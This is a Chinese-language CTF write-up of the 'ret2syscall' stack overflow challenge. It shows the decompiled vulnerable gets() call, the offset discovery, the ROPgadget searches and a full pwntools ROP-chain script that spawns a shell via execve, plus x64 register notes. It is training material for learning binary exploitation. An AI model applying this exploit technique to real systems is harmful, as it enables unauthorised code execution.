ret2syscall

wiki上的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/

放入ida后按F5查看源代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

大致确定为栈溢出
在终端输入命令cyclic 150,然后是gdb ret2syscall,r运行,输入150个乱码,弹出错误地址



爆出偏移我们需要覆盖的返回地址相对于 v4 的偏移为 112


这次不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell
这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

execve的系统调用号是0x0b
execve系统调用号赋给eax寄存器,将参数”/bin/sh”的地址赋值给ebx寄存器,参数NULL,NULL赋值给ecx和edx寄存器,触发 0x80 号中断

利用ROPgadget的工具查找eax ebx ecx edx的地址,查找/bin/sh和int 0x80的地址
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx' | grep 'ecx' | grep 'edx'
ROPgadget --binary ret2syscall --string "/bin/sh"
ROPgadget --binary ret2syscall --only 'int'

写脚本

#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'

p = process('./ret2text')
eax = 0x080bb196
binsh = 0x080BE408
edx_ecx_ebx = 0x0806eb90
#execve("/bin/sh",NULL,NULL)
int_0x80 = 0x08049421
payload = 112 * "A" 
payload += p32(eax) + p32(0x0b) 
payload += p32(edx_ecx_ebx) + p32(0x00) + p32(0x00) + p32(binsh)
payload += p32(int_0x80)
p.sendline(payload)
p.interactive()

运行脚本


************************************这是一条分割线************************************

更新一下,如果是64位要执行execve("/bin/sh", NULL, NULL),x64需要使得

系统调用号即rax应该为0x3b
第一个参数即rdi应该指向/bin/sh的地址,其实执行sh的地址也可以
第二个参数即rsi应该为0
第三个参数rdx应该为0

你可能感兴趣的:(ret2syscall)